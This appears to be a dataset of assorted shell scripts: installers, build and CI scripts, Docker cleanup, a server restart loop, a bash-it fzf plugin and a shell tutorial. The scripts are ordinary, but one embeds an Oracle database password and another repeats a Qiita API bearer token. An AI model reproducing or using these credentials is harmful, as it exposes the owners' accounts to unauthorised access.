\"i686\" ] ; then\n ARCH=\"386\"\n elif [ \"${LINUX_ARCH}\" = \"x86_64\" ] ; then\n ARCH=\"amd64\"\n else\n echo \"Sorry, architecture not supported: ${LINUX_ARCH}. Download binary from https://github.com/${USERNAME}/${NAME}/releases\"\n exit 1\n fi\nfi\n\nARCHIVE_FILE=${NAME}-${VERSION}-${OS}-${ARCH}.tar.gz\nBINARY=\"https://github.com/${GITHUB_USER}/${NAME}/releases/download/v${VERSION}/${ARCHIVE_FILE}\"\n\ncd $TMP_DIR\ncurl -sL -O ${BINARY}\n\ntar xzf ${ARCHIVE_FILE}\nmv ${OS}-${ARCH}/${BIN_NAME} ${PREFIX}/bin/${BIN_NAME}\nchmod +x ${PREFIX}/bin/${BIN_NAME}\nif [ -d ${COMP_PREFIX} ]; then\n if [ \"${ZSH_COMPLETION}\" == \"t\" ]; then\n mv ${OS}-${ARCH}/_${BIN_NAME} ${COMP_PREFIX}/_${BIN_NAME}\n fi\nfi\n\nrm -rf ${OS}-${ARCH}\nrm -rf ${ARCHIVE_FILE}"} {"text": "#!/bin/sh\n# Default flags to pass to the MUD server (see admin.txt for a description\n# of all flags).\n#############################################################################\n\nSERVER_NAME=./maxmigame\n\nwhile ( : ) do\n\n DATE=`date`\n echo \"autoauth starting auth $DATE\" >> syslog\n echo \"running\" $SERVER_NAME >> syslog\n\n# cp -f $SERVER_NAME $SERVER_NAME.current\n $SERVER_NAME\n\n rm cores/core.1\n mv cores/core.2 cores/core.1\n mv cores/core.3 cores/core.2\n mv cores/core.4 cores/core.3\n mv cores/core.5 cores/core.4\n mv cores/core.6 cores/core.5\n mv $SERVER_NAME.core cores/core.6\n\n # rm profiles/profile.1\n # mv profiles/profile.2 profiles/profile.1\n # mv profiles/profile.3 profiles/profile.2\n # gprof $SERVER_NAME.current $SERVER_NAME.gmon > profiles/profile.3\n\n if [ ! -r .fastboot ]; then\n sleep 3\n else\n rm .fastboot\n sleep 3\n fi\n\n if [ -r .killscript ]; then\n DATE=`date`;\n echo \"autoscript killed $DATE\" >> syslog\n rm .killscript\n exit\n fi\n\n while [ -r pause ]; do\n sleep 60\n done\n\ndone"} {"text": "dvizzini/dvizzini.github.com\n#!/bin/sh\n\n#\n# if this gets too hectic, see http://brizzled.clapper.org/blog/2012/03/05/using-twitter-bootstrap-with-jekyll/\n# \n\nrm -rf master bootstrap\nwget https://github.com/dvizzini/bootstrap/zipball/master\nunzip -q master\nmv dvizzini-bootstrap-*/bootstrap .\nrm -rf dvizzini-bootstrap-*"} {"text": "travisdeps.sh\n#!/bin/sh\n\n# Get up to date libjudy\nsudo apt-get update\nsudo apt-get install -y libarchive-dev pkg-config build-essential\nwget https://mirrors.kernel.org/ubuntu/pool/universe/j/judy/libjudy-dev_1.0.5-5_amd64.deb \\\n https://mirrors.kernel.org/ubuntu/pool/universe/j/judy/libjudydebian1_1.0.5-5_amd64.deb\nsudo dpkg -i libjudy-dev_1.0.5-5_amd64.deb libjudydebian1_1.0.5-5_amd64.deb\n\n# compile dependency in /opt/traildb/traildb\n\nmkdir -p /opt/traildb\ncd /opt/traildb\n\n# shallow-ish copy of master branch of traildb/traildb\ngit clone --depth=50 https://github.com/traildb/traildb\n\n# build traildb so\ncd /opt/traildb/traildb\nsudo ./waf configure\n# actually needs root permissions to install into /usr/local\nsudo ./waf install"} {"text": "#!/bin/bash -e\nDATE=$(date '+%Y%m%d')\n\n# Now you can do just push using: ` push`\nif [ \"$1\" == \"push\" ]; then\n\tDO_PUSH=1\nfi\n\nfunction build {\n\tFILE=$1\n\tIMAGE=$2\n\tTAG=$3\n\tREGISTRY=${4:-mgbi}\n\n\tif [ -z \"$TAG\" ]; then\n\t\tDATE_TAG=${DATE}\n\t\tLATEST_TAG=latest\n\telse\n\t\tDATE_TAG=${TAG}-${DATE}\n\t\tLATEST_TAG=${TAG}\n\tfi\n\n\techo \"Building ${IMAGE}:${LATEST_TAG} from ${FILE}\"\n\tdocker build -f ${FILE} -t ${REGISTRY}/${IMAGE}:${DATE_TAG} .\n\tdocker tag ${REGISTRY}/${IMAGE}:${DATE_TAG} ${REGISTRY}/${IMAGE}:${LATEST_TAG}\n\n\tif [[ $DO_PUSH -eq 1 ]]; then\n\t\tdocker push ${REGISTRY}/${IMAGE}:${DATE_TAG}\n\t\tdocker push ${REGISTRY}/${IMAGE}:${LATEST_TAG}\n\tfi\n}\n\n\nbuild Dockerfile bitbucket-teamworkchat-bridge"} {"text": "#!/bin/bash\nprintf \"#!/bin/sh -e\n# This sets up the virtual CAN interface and runs aggregate_can_data.py\nsudo modprobe vcan\nsudo ip link add dev vcan0 type vcan\nsudo ip link set up vcan0\n(sleep 20;python3 /home/pi/telemetry_xiv/telemetry_scripts/aggregate_can_data.py)&\n(sleep 20;python3 /home/pi/telemetry_xiv/telemetry_scripts/rpi/GPS.py)&\n(sleep 20;python3 /home/pi/telemetry_xiv/telemetry_scripts/web_aggregate_can_data.py)&\nexit 0\n\n\" > /etc/rc.local\n\nsudo chmod +x /etc/rc.local"} {"text": "# running checks from all plugins\nfunction system_check() {\n\n # first check if we are in the right directory\n FINDCMD=\"find . -maxdepth 1 -false \"$(get_input_extensions | sed -e 's/^/-or -iname \"*./' -e 's/$/\"/' | tr '\\n' ' ')\n\n if [ $(eval \"$FINDCMD\" | wc -l) -lt 1 ]; then\n echoerr \"This directory does not contain input images\"\n exit 1\n fi\n\n # now check all plugins\n for EXT in `get_all_extensions`; do\n echo -n \"checking $EXT ... \"\n check_$EXT\n ERRCODE=$?\n if [ $ERRCODE -eq $CODE_ERROR ]; then\n echoerr \"failed with return code $ERRCODE\"\n exit $ERRCODE\n elif [ $ERRCODE -eq $CODE_WARNING ]; then\n echo # pass\n else\n echo \"ok\"\n fi\n done\n}\n\nfunction cmdavail() {\n type \"$1\" &> /dev/null\n}"} {"text": "scripts/kvm/mount_qcow2.sh\n\nif test $# -eq 1; then\n sudo modprobe nbd max_part=8\n sudo qemu-nbd --connect=/dev/nbd0 \"${1}\"\n fdisk /dev/nbd0 -l\n cat <\"\nfi\n\nexport FACTER_MYSQL_PASSWORD=\"${MYSQL_PASSWORD}\"\n\nif [ -n \"${ZABBIX_SERVER_HOST}\" ]; then\n export FACTER_ZABBIX_SERVER_HOST=\"${ZABBIX_SERVER_HOST}\"\n\n if [ -z \"${ZABBIX_SERVER_PORT}\" ]; then\n ZABBIX_SERVER_PORT=\"10051\"\n fi\n\n export FACTER_ZABBIX_SERVER_PORT=\"${ZABBIX_SERVER_PORT}\"\nelse\n ZABBIX_SERVER_PORT=\"$(echo \"${ZABBIX_SERVER_PORT}\" | sed 's/tcp:\\/\\///')\"\n\n export FACTER_ZABBIX_SERVER_HOST=\"$(echo \"${ZABBIX_SERVER_PORT}\" | cut -d \":\" -f1)\"\n export FACTER_ZABBIX_SERVER_PORT=\"$(echo \"${ZABBIX_SERVER_PORT}\" | cut -d \":\" -f2)\"\nfi\n\nif [ -z \"${SERVER_NAME}\" ]; then\n SERVER_NAME=\"localhost\"\nfi\n\nexport FACTER_SERVER_NAME=\"${SERVER_NAME}\"\n\nif [ -z \"${TIMEZONE}\" ]; then\n TIMEZONE=\"Etc/UTC\"\nfi\n\nexport FACTER_TIMEZONE=\"${TIMEZONE}\"\n\nif [ -z \"${PHP_INI_TIMEZONE}\" ]; then\n PHP_INI_TIMEZONE=\"UTC\"\nfi\n\nexport FACTER_PHP_INI_TIMEZONE=\"${PHP_INI_TIMEZONE}\"\n\nif [ -z \"${PHP_INI_MAX_EXECUTION_TIME}\" ]; then\n PHP_INI_MAX_EXECUTION_TIME=\"900\"\nfi\n\nexport FACTER_PHP_INI_MAX_EXECUTION_TIME=\"${PHP_INI_MAX_EXECUTION_TIME}\"\nexport FACTER_TIMEOUT=\"${PHP_INI_MAX_EXECUTION_TIME}\"\n\nif [ -z \"${PROTOCOLS}\" ]; then\n PROTOCOLS=\"https,http\"\nfi\n\nPROTOCOLS=$(echo \"${PROTOCOLS}\" | tr \",\" \"\\n\")\n\nfor PROTOCOL in ${PROTOCOLS}; do\n if [ \"${PROTOCOL}\" == \"http\" ]; then\n export FACTER_HTTP=\"1\"\n fi\n\n if [ \"${PROTOCOL}\" == \"https\" ]; then\n export FACTER_HTTPS=\"1\"\n fi\ndone\n\nexport FACTER_HTTP_BASIC_AUTH=\"${HTTP_BASIC_AUTH}\"\n\nif [ -z \"${HTTP_BASIC_AUTH_USERNAME}\" ]; then\n HTTP_BASIC_AUTH_USERNAME=\"container\"\nfi\n\nexport FACTER_HTTP_BASIC_AUTH_USERNAME=\"${HTTP_BASIC_AUTH_USERNAME}\"\n\nexport FACTER_HTTP_BASIC_AUTH_PASSWORD=\"${HTTP_BASIC_AUTH_PASSWORD}\"\n\nif [ -z \"${OPENVPN}\" ]; then\n OPENVPN=\"Off\"\nfi\n\nif [ \"${OPENVPN}\" == \"True\" ]; then\n OPENVPN=\"On\"\nfi\n\nexport FACTER_OPENVPN=\"${OPENVPN}\"\n\nif [ -z \"${OPENVPN_DEVICE}\" ]; then\n OPENVPN_DEVICE=\"TAP\"\nfi\n\nexport FACTER_OPENVPN_DEVICE=\"${OPENVPN_DEVICE}\"\n\nexport FACTER_OPENVPN_HOST=\"${OPENVPN_HOST}\"\n\nif [ -z \"${OPENVPN_PORT}\" ]; then\n OPENVPN_PORT=\"1194\"\nfi\n\nexport FACTER_OPENVPN_PORT=\"${OPENVPN_PORT}\"\n\nexport FACTER_OPENVPN_USERNAME=\"${OPENVPN_USERNAME}\"\nexport FACTER_OPENVPN_PASSWORD=\"${}\"\n\nexport FACTER_OPENVPN_CA_CERTIFICATE=\"${OPENVPN_CA_CERTIFICATE}\""} {"text": "#!/usr/bin/env sh\nset -e\nexport ROOT_FOLDER=$( pwd )\nexport GRADLE_OPTS=-Dorg.gradle.native=false\n\nGRADLE_HOME=\"${HOME}/.gradle\"\nGRADLE_CACHE=\"${ROOT_FOLDER}/gradle\"\n\n[[ -d \"${GRADLE_CACHE}\" && ! -d \"${GRADLE_HOME}\" ]] && ln -s \"${GRADLE_CACHE}\" \"${GRADLE_HOME}\"\n\nversion=`cat version/number`\ncd music-repo\necho $version\n./gradlew assemble --no-daemon\nls -la build/libs/\nmv build/libs/music-repo-*.jar ../workspace/spring-music-$version.jar\nls -la ../workspace/"} {"text": "0\n#!/bin/bash\ndocker buildx build --platform linux/amd64,linux/arm64,linux/arm/v7 -t ioticproject/pub-sub-gateway --push ."} {"text": "dev_scripts/stop-ZMQ_Streamer.sh\n#! /bin/bash\n# SPDX-License-Identifier: Apache-2.0\n# Copyright(c) 2017 Intel Corporation\n\n\n#\n# The stop-ZMQ_Streamer.sh script stops the ZMQ Steamer. This script\n# needs to be run after stopping CP and DP in an NGIC setup\n#\n\npgrep -fa python | grep req_streamer_dev.py &> /dev/null\nif [ $? -eq 1 ]; then\n\techo \"req_streamer_dev.py no longer running..\"\nelse\n\techo \"Stopping req_streamer_dev.py\"\n\tkillall -9 req_streamer_dev.py\nfi\n\npgrep -fa python | grep resp_streamer_dev.py &> /dev/null\nif [ $? -eq 1 ]; then\n\techo \"resp_streamer_dev.py no longer running..\"\nelse\n\techo \"Stopping resp_streamer_dev.py\"\n\tkillall -9 resp_streamer_dev.py\nfi"} {"text": "#!/bin/bash\n\n###################################\n## Bash Utilities v 0.15.2\n###################################\n\n_SOURCEDIR_BASHUTILITIES=\"$( dirname \"${BASH_SOURCE[0]}\" )/\";\n\n###################################\n## Load all modules\n###################################\n\n. \"${_SOURCEDIR_BASHUTILITIES}/modules/files.sh\";\n. \"${_SOURCEDIR_BASHUTILITIES}/modules/messages.sh\";\n. \"${_SOURCEDIR_BASHUTILITIES}/modules/texttransform.sh\";\n. \"${_SOURCEDIR_BASHUTILITIES}/modules/values.sh\";\n. \"${_SOURCEDIR_BASHUTILITIES}/modules/git.sh\";\n\n# . \"${_SOURCEDIR_BASHUTILITIES}/modules/stop.sh\";"} {"text": "build/build-mac.sh\n#!/bin/bash\n#-----------------------------------------------------------------------------\n#\n# Copyright (c) 2013-2017, \n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\n# THE POSSIBILITY OF SUCH DAMAGE.\n#\n#-----------------------------------------------------------------------------\n#\n# Unix script to build the DMG package for QtlMovie on Mac OS X.\n#\n#-----------------------------------------------------------------------------\n\n# This script:\nSCRIPT=$(basename $BASH_SOURCE)\nerror() { echo >&2 \"$SCRIPT: $*\"; exit 1; }\n\n# Uncompressed DMG size.\nDMGSIZE=200m\n\n# Various directories.\nSCRIPTDIR=$(cd $(dirname $BASH_SOURCE); pwd)\nROOTDIR=$(dirname $SCRIPTDIR)\nSRCDIR=$ROOTDIR/src\nBUILDDIR=$ROOTDIR/build-QtlMovie-Desktop-Release\n\n# Search for Qt installations out of system directories.\nsource ${SCRIPTDIR}/QtSetEnvironment.rc\nQTDIR=$(dirname $(dirname $(which qmake)))\n\n# QtlMovie version is extracted from QtlMovieVersion.h\nQTLMOVIE_VERSION=$(grep QTLMOVIE_VERSION $SRCDIR/QtlMovie/QtlMovieVersion.h | sed -e 's/[^\"]*\"//' -e 's/\".*//')\n\n# Rebuilt the QtlMovie executable.\n$SCRIPTDIR/build.sh || exit 1\n\n# Build the binary package.\necho \"Creating QtlMovie-$QTLMOVIE_VERSION.dmg\"\nAPPDIR=$BUILDDIR/QtlMovie/QtlMovie.app\nDMGTMP=$BUILDDIR/QtlMovie/QtlMovie.dmg\nDMGFILE=$ROOTDIR/installers/QtlMovie-$QTLMOVIE_VERSION.dmg\nVOLUME=\"QtlMovie $QTLMOVIE_VERSION\"\nrm -f \"$DMGTMP\" \"$DMGFILE\"\n\n# Populate Mac tools in the bundle.\nAPPTOOLS=$APPDIR/Contents/MacOS/mactools\nrm -rf $APPTOOLS\ntar -C $ROOTDIR --exclude .gitignore -c -p -f - mactools | tar -C $APPDIR/Contents/MacOS -x -p -f -\nMACTOOLS=$(find $APPTOOLS -type f ! -name '*.txt')\nstrip $APPDIR/Contents/MacOS/QtlMovie $MACTOOLS\nchmod 755 $APPDIR/Contents/MacOS/QtlMovie $MACTOOLS\n\n# Copy fonts in the bundle.\nAPPFONTS=$APPDIR/Contents/MacOS/fonts\nmkdir -p $APPFONTS\ncp $ROOTDIR/fonts/fonts.conf.template $ROOTDIR/fonts/subfont.ttf $APPFONTS\nchmod 755 $APPFONTS\nchmod 644 $APPFONTS/*\n\n# Copy help files in the bundle.\nAPPHELP=$APPDIR/Contents/MacOS/help\nmkdir -p $APPHELP\ncp $ROOTDIR/help/* $APPHELP\nchmod 755 $APPHELP\nchmod 644 $APPHELP/*\n\n# Deploy Qt requirements in the bundle.\nmacdeployqt $BUILDDIR/QtlMovie/QtlMovie.app -verbose=1 -always-overwrite || exit 1\n\n# Install translations in the bundle.\nAPPTRANS=$APPDIR/Contents/MacOS/translations\nmkdir -p $APPTRANS\ncp $BUILDDIR/*/locale/*_fr.qm $(find $QTDIR -name 'qt*_fr.qm') $APPTRANS\nchmod 755 $APPTRANS\nchmod 644 $APPTRANS/*\n\n# Create an initial disk image\nhdiutil create -size $DMGSIZE -fs HFS+ -volname \"$VOLUME\" \"$DMGTMP\"\n\n# Mount the disk image\nhdiutil attach \"$DMGTMP\"\nDEVS=$(hdiutil attach \"$DMGTMP\" | cut -f 1)\nDEV=$(echo $DEVS | cut -f 1 -d ' ')\n\n# Copy application structure inside disk image.\ntar -C $(dirname \"$APPDIR\") -c -p -f - $(basename \"$APPDIR\") | tar -C \"/Volumes/$VOLUME\" -x -p -f -\n\n# Create a symbolic link to /Applications to facilitate the drag & drop.\nln -sf /Applications \"/Volumes/$VOLUME/Applications\"\n\n# Add a drive icon\ncp \"$SRCDIR/QtlMovie/images/qtlmovie-drive.icns\" \"/Volumes/$VOLUME/.VolumeIcon.icns\"\nSetFile -c icnC \"/Volumes/$VOLUME/.VolumeIcon.icns\"\nSetFile -a C \"/Volumes/$VOLUME\"\n\n# Format the appearance of the DMG in Finder when opened.\nmkdir -p \"/Volumes/$VOLUME/.background\"\ncp $ROOTDIR/build/dmg-background.png \"/Volumes/$VOLUME/.background/background.png\"\necho '\n tell application \"Finder\"\n tell disk \"'${VOLUME}'\"\n open\n set current view of container window to icon view\n set toolbar visible of container window to false\n set statusbar visible of container window to false\n set the bounds of container window to {400, 100, 900, 450}\n set theViewOptions to the icon view options of container window\n set arrangement of theViewOptions to not arranged\n set icon size of theViewOptions to 128\n set background picture of theViewOptions to file \".background:background.png\"\n set position of item \"QtlMovie\" of container window to {100, 100}\n set position of item \"Applications\" of container window to {375, 100}\n update without registering applications\n delay 5\n close\n end tell\n end tell\n' | osascript\n\n# Unmount the disk image\nhdiutil detach $DEV\n\n# Convert the disk image to read-only\nhdiutil convert \"$DMGTMP\" -format UDZO -o \"$DMGFILE\"\nrm -f \"$DMGTMP\"\n\n# Create a zip file for the Mac tools.\nTOOLZIP=\"QtlMovie-$QTLMOVIE_VERSION-mactools.zip\"\necho \"Creating $TOOLZIP\"\n(cd $ROOTDIR; zip -rq9 \"$ROOTDIR/installers/$TOOLZIP\" mactools -x mactools/.gitignore)\n\n# Create a zip file for the QtlMovie sources.\nSRCZIP=\"QtlMovie-$QTLMOVIE_VERSION-src.zip\"\necho \"Creating $SRCZIP\"\nTMPDIR=/tmp/qtlmovie-$$\nrm -rf $TMPDIR\nmkdir -p -m 0755 $TMPDIR/QtlMovie-$QTLMOVIE_VERSION\ntar -C $ROOTDIR --exclude '*.dmg' --exclude .git --exclude 'build-QtlMovie-*' -c -p -f - . \\\n | tar -C $TMPDIR/QtlMovie-$QTLMOVIE_VERSION -x -p -f -\n$TMPDIR/QtlMovie-$QTLMOVIE_VERSION/build/cleanup.sh --deep\nrm -f $ROOTDIR/installers/QtlMovie-$QTLMOVIE_VERSION-src.zip\n(cd $TMPDIR; zip -rq9 \"$ROOTDIR/installers/$SRCZIP\" \"QtlMovie-$QTLMOVIE_VERSION\")\nrm -rf $TMPDIR\n\n# Export the binaries to a shared environment, if it exists.\n# Define the environment variable DELIVERY to point to the shared export.\n# Default value:\nDELIVERY_DIR=${DELIVERY:-$HOME/devel}/QtlMovie/installers\nif [[ -d \"$DELIVERY_DIR\" ]]; then\n cp -v \"$DMGFILE\" \"$ROOTDIR/installers/$TOOLZIP\" \"$ROOTDIR/installers/$SRCZIP\" \"$DELIVERY_DIR\"\nfi"} {"text": "jeffparsons/planetkit\n#!/bin/bash\n\nset -e\n\ncargo run --release \"$@\" -- listen &\nsleep 1\ncargo run --release \"$@\" -- connect 127.0.0.1:62831"} {"text": "mcrouter/scripts/recipes/fbthrift.sh\n#!/usr/bin/env bash\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nsource common.sh\n\nif [[ ! -d \"$PKG_DIR/fbthrift\" ]]; then\n git clone https://github.com/facebook/fbthrift\n cd \"$PKG_DIR/fbthrift\" || die \"cd fail\"\n if [[ -f \"$REPO_BASE_DIR/mcrouter/FBTHRIFT_COMMIT\" ]]; then\n FBTHRIFT_COMMIT=\"$(head -n 1 \"$REPO_BASE_DIR/mcrouter/FBTHRIFT_COMMIT\")\"\n echo \"FBTHRIFT_COMMIT file found: using fbthrift commit $FBTHRIFT_COMMIT\"\n git checkout \"$FBTHRIFT_COMMIT\"\n else\n echo \"No FBTHRIFT_COMMIT file, using fbthrift HEAD=$(git rev-parse HEAD)\"\n fi\nfi\n\ncd \"$PKG_DIR/fbthrift/build\" || die \"cd fbthrift failed\"\n\nCXXFLAGS=\"$CXXFLAGS -fPIC\" \\\ncmake .. -DCMAKE_INSTALL_PREFIX=\"$INSTALL_DIR\"\nmake $MAKE_ARGS && make install $MAKE_ARGS"} {"text": "#!/bin/sh\n#export LD_LIBRARY_PATH=/usr/lib/oracle/12.1/client64/lib\nsqlplus64 \"wjalali/02189545@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(Host=oracle.scs.ryerson.ca)(Port=1521))(CONNECT_DATA=(SID=orcl)))\"< /deploy/qiita/googleapi/hogehoge.json\ncurl -XPOST -H 'Authorization: Bearer 796ddbc73e10ee1f1e64c4f621a0cfff1839bcec' -H 'Content-Type: application/json' https://afdsol.qiita.com/api/v2/items/ -d @/deploy/qiita/googleapi/hogehoge.json\n\n#vagrant test\n#php /vagrant/work/google-api/index.php | php /vagrant/work/googleapi/json.php > /vagrant/work/googleapi/hogehoge.json\n#curl -XPOST -H 'Authorization: Bearer 796ddbc73e10ee1f1e64c4f621a0cfff1839bcec' -H 'Content-Type: application/json' https://afdsol.qiita.com/api/v2/items/ -d @/vagrant/work/google-api/hogehoge.json\n\n#local test\n#php /Users/kyawphyonaing/Desktop/google-api/index.php | php /Users/kyawphyonaing/Desktop/googleapi/json.php > /Users/kyawphyonaing/Desktop/googleapi/hogehoge.json\n#curl -XPOST -H 'Authorization: Bearer 796ddbc73e10ee1f1e64c4f621a0cfff1839bcec' -H 'Content-Type: application/json' https://afdsol.qiita.com/api/v2/items/ -d @/Users/kyawphyonaing/Desktop/googleapi/hogehoge.json\n\nfi"} {"text": "1-10\n#! /usr/bin/env zsh\n\nSELF=${0##*/}\n. hddb-prelude\n\nhddb-table-exists || f-no-table\nexec cmd-dispatch \"$@\""} {"text": "eschmidt42/ashraeset_link.sh0\n#!/bin/bash\ncwd=$(pwd)\necho 'Linking ashrae/ and nbs/'\nln -s \"${cwd}\"/ashrae/ \"${cwd}\"/nbs/ashrae\necho 'Linking ashrae/ and other_nbs/'\nln -s \"${cwd}\"/ashrae/ \"${cwd}\"/other_nbs/ashrae"} {"text": "1-10\n#!/bin/bash\necho \"hello shell!\" # 打印字符串“hello shell!”\n\necho \"Date: \" `date` # 显示命令执行结果\n\necho \"\\\"It is a test!\\\"\" # \\ 转义字符\necho '\\\"It is a test!\\\"' # 在单引号中原样输出字符串,不进行转义或取变量\n\necho -e \"Pass! \\n\" # -e 启用反斜线控制字符的转换,\\n 显示换行\necho \"Pass! \\n\" # 默认关闭反斜线控制字符的转换\n\n\n\n\n\n# #! --- 指定解释器\n# echo --- display a line of text\n# # --- 单行注释,Shell不支持多行注释\n# \n# \n# ### Shell与Shell脚本\n# - Shell是提供访问操作系统内核服务界面的应用程序;\n# - 通过Shell脚本(shell script)可以在Shell中实现特定功能;\n# - 脚本执行时,一边解释一边执行,如果脚本包含错误,只要没执行到这一行,就不会报错; \n# - 查看可用shell: cat /etc/shells\n# - 查看shell版本: bash --version\n# \n# \n# ### 执行脚本的方法\n# 1. 使用chmod命令为脚本文件添加可执行权限,然后直接执行(脚本内需要指定解释器路径)\n# 2. 通过“bash test.sh”方式将脚本作为解释器的参数,直接调用解释器\n# 3. 使用source命令或\".\"执行文件,例如“source test.sh”(在父进程中直接执行,不会创建子进程)\n# \n# \n# ### echo命令\n# 通过“man echo”获取命令详细信息\n# 参数“-E”:关闭反斜线控制字符的转换(默认)\n# 参数“-e”:启用反斜线控制字符的转换\n# 参数“-n”:取消行末的自动换行"} {"text": "#!/usr/bin/env sh\nset -e\n\nrm -rf acado\ngit clone https://github.com/acado/acado.git\ncd acado\ngit reset --hard 5adb8cbcff5a5464706a48eaf073218ac87c9044\n\n# Clang 8 fixes\ngit apply ../01.patch\nsed -i '100d' cmake/CompilerOptions.cmake\nsed -i '100d' cmake/CompilerOptions.cmake\n\nmkdir build\ncd build\ncmake -DACADO_WITH_EXAMPLES=OFF -DACADO_BUILD_STATIC=ON -DCMAKE_INSTALL_PREFIX=\"$HOME/openpilot/phonelibs/acado\" ..\nmake -j$(nproc)\nmake install\n\ncd ..\ncd ..\n\nrm -r x86_64\nmkdir x86_64\nmv lib x86_64/lib\ncp acado/build/lib/* x86_64/lib/\n\nrm -rf acado\nrm -r share"} {"text": "# Load after the system completion to make sure that the fzf completions are working\n# BASH_IT_LOAD_PRIORITY: 375\n\ncite about-plugin\nabout-plugin 'load fzf, if you are using it'\n\n_command_exists fzf || return\n\nif [ -r ~/.fzf.bash ] ; then\n source ~/.fzf.bash\nelif [ -r \"${XDG_CONFIG_HOME:-$HOME/.config}\"/fzf/fzf.bash ] ; then\n source \"${XDG_CONFIG_HOME:-$HOME/.config}\"/fzf/fzf.bash\nfi\n\nif [ -z ${FZF_DEFAULT_COMMAND+x} ] && _command_exists fd ; then\n export FZF_DEFAULT_COMMAND='fd --type f'\nfi\n\nfe() {\n about \"Open the selected file in the default editor\"\n group \"fzf\"\n param \"1: Search term\"\n example \"fe foo\"\n\n local IFS=$'\\n'\n local files\n files=($(fzf-tmux --query=\"$1\" --multi --select-1 --exit-0))\n [[ -n \"$files\" ]] && ${EDITOR:-vim} \"${files[@]}\"\n}\n\nfcd() {\n about \"cd to the selected directory\"\n group \"fzf\"\n param \"1: Directory to browse, or . if omitted\"\n example \"fcd aliases\"\n\n local dir\n dir=$(find ${1:-.} -path '*/\\.*' -prune \\\n -o -type d -print 2> /dev/null | fzf +m) &&\n cd \"$dir\"\n}\n\n# fbr - checkout git branch (including remote branches)\nfbr() {\n about \"Use fzf to switch between Git branches\"\n group \"fzf\"\n param \"1: Search term for fzf\"\n example \"fbr feature\"\n\n local branches branch\n branches=$(git branch --all | grep -v HEAD) &&\n branch=$(echo \"$branches\" |\n fzf-tmux --query=\"$1\" --preview=\"\" -d $(( 2 + $(wc -l <<< \"$branches\") )) +m) &&\n git checkout $(echo \"$branch\" | sed \"s/.* //\" | sed \"s#remotes/[^/]*/##\")\n}\n\nfvag() {\n about \"Use fzf to browse matches from ag while searching in file. The selected result is opened in vim.\"\n group \"fzf\"\n param \"Any params you want to provide to ag\"\n example \"fvag -G '.*.xml' foo\"\n\n local ffile\n\n ffile=\"$(ag --nobreak --noheading $@ | fzf -0 -1 --preview='' | awk -F: '{print $1 \" +\" $2}')\"\n\n if [[ -n $ffile ]]; then\n vim $ffile\n fi\n}"} {"text": "RackHD/voyager-inventory-service\n#!/bin/bash\n\nset -e -x\n\n[[ -s \"/home/emc/.gvm/scripts/gvm\" ]] >/dev/null 2>/dev/null\nsource \"/home/emc/.gvm/scripts/gvm\" >/dev/null 2>/dev/null\n\nPROJECT_PATH=$GOPATH/src/github.com/RackHD\nCOMPOSE_PATH=ci/integration/docker-compose.yml\n\ncleanUp()\n{\n # Don't exit on error here. All commands in this cleanUp must run,\n # even if some of them fail\n set +e\n\n # Delete all containers\n docker rm -f $(docker ps -a -q)\n\n # Delete all images\n docker rmi -f $(docker images -q)\n\n # Delete any dangling volumes\n docker volume rm $(docker volume ls -qf dangling=true)\n\n # Clean up all cloned repos\n cd $GOPATH\n rm -rf $GOPATH/src\n}\n\ntrap cleanUp EXIT\n\npushd $PROJECT_PATH/voyager-inventory-service\n echo \"Testing Inventory Service\"\n\n docker-compose -f ${COMPOSE_PATH} create\n docker-compose -f ${COMPOSE_PATH} start\n\n make deps\n make integration-test\n\n docker-compose -f ${COMPOSE_PATH} kill\n # Delete all containers\n docker rm -f $(docker ps -a -q)\n\n echo \"Inventory Service PASS\\n\\n\"\npopd\n\nexit"} {"text": "#!/bin/bash\n\nset -exu\n\npushd joint/joint_eval\nrm special_partition.c*\nrm special_partition.html\ncythonize -a -i special_partition.pyx\npopd"} {"text": "silverstar0727/data-science-on-gcp04_streaming/transform/stage_airports_file.sh\n#!/bin/bash\n\nif test \"$#\" -ne 1; then\n echo \"Usage: ./bqsample.sh bucket-name\"\n echo \" eg: ./bqsample.sh cloud-training-demos-ml\"\n exit\nfi\n\nBUCKET=$1\nPROJECT=$(gcloud config get-value project)\n\ngsutil cp airports.csv.gz gs://${BUCKET}/flights/airports/airports.csv.gz\n\nbq --project_id=$PROJECT load \\\n --autodetect --replace --source_format=CSV \\\n dsongcp.airports gs://${BUCKET}/flights/airports/airports.csv.gz"} {"text": "building_packages_in_centos6.2.sh\n#!/bin/sh\n# install packages under Centos 6.2 final for sws(sina web service)\n# author \n# date 2012-06-04\n#\n# compile attention: all packages compile without \"make test\"\n# packages contain: nginx, php, memcached\n# packages detail:\n# 1. nginx: 1.2.0\n# 2. libevent:\n# 3. memcached:\n# 4. libmcrypt:\n# 5. php:\n\n# some other tools\n# sae sws internal resource MAYBE BROKEN , CHANGE /etc/yum.conf before install\nsed -i '27,61s/^/#/' /etc/yum.conf\n# pypy dependencies\nyum install -y \\\ngcc make python-devel libffi-devel pkgconfig \\\nzlib-devel bzip2-devel ncurses-devel expat-devel \\\nopenssl-devel gc-devel 